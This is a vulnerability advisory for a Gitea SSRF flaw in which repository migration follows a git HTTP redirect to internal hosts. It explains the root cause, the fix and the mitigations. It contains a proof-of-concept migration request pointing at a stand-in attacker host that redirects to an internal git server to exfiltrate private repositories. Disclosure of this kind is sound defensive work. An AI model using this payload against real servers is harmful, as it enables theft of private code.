CVE-2026-57894: Gitea Repository Migration SSRF via Git HTTP Redirect
A low-privileged Gitea user can supply a migration URL that redirects the server's git clone to a blocked internal endpoint, bypassing the URL allow/block list and exfiltrating private Git…
The problem
Gitea validates the user-supplied migration URL before cloning, but then passes that same URL to a bare git clone --mirror subprocess. Git's default http.followRedirects=initial follows the first HTTP redirect transparently, so the effective network destination is never re-checked against the allow/block list.
Any low-privileged authenticated user (or self-registered user on open-registration instances) can submit a public URL that passes validation. If that URL redirects to an internal Git HTTP(S) service, git fetches the internal repo and Gitea imports it into the attacker's account.
Pull mirrors make this persistent: every scheduled git fetch --tags follows the same redirect, pulling future commits from the internal target.
Proof of concept
A working proof-of-concept for CVE-2026-57894 in code.gitea.io/gitea, with the exact payload below.
POST /api/v1/repos/migrate HTTP/1.1
Host: gitea.example.com
Authorization: token <low-priv-token>
Content-Type: application/json
{
"clone_addr": "http://attacker.example/redirect-to-internal.git",
"repo_name": "exfil",
"mirror": true,
"service": "git"
}
# attacker.example/redirect-to-internal.git responds with:
# HTTP/1.1 302 Found
# Location: http://internal-git.corp.local/team/private.git/info/refs?service=git-upload-pack
#
# git follows the redirect, fetches objects from internal-git.corp.local,
# and Gitea stores the cloned content in the attacker-owned repo.The root cause is a check-then-act gap across a trust boundary. IsMigrateURLAllowed resolves and validates the originally submitted host (migrations/migrate.go:85-86), but the validated URL is then handed unchanged to git clone in modules/git/repo.go:123. Git's http.followRedirects defaults to initial, meaning it follows the first redirect and uses the redirected URL as the base for all subsequent object requests.
No equivalent policy runs against the redirected destination.
The patch (PR #38320) adds -c http.followRedirects=false to the git clone command used for migration clones and to the git fetch --tags command used for pull mirror sync. This forces git to abort on any HTTP redirect rather than follow it, closing the gap between what Gitea validates and what git actually reaches.
CWE-918 (SSRF) applies directly: the server makes outbound network requests to a destination chosen by the attacker.
The fix
Upgrade to Gitea 1.27.0. The fix (PR #38320) passes -c http.followRedirects=false to every git clone and git fetch invocation in the migration and mirror-sync code paths. As a defense-in-depth measure, enforce egress restrictions on the Gitea process to block RFC1918, loopback, link-local, and cloud metadata ranges, disable repository migrations and pull mirrors where not operationally needed, and require authentication on all internal Git HTTP endpoints.
Reported by cyberlanc3r.
Related research
- high · 7.7CVE-2026-58314CVE-2026-58314: Gitea SSRF via Incomplete IP Classifier and Unguarded OpenID Discovery
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.1CVE-2026-20779CVE-2026-20779: Gitea TOTP Passcode Capture-Replay via Basic-Auth and TOCTOU Race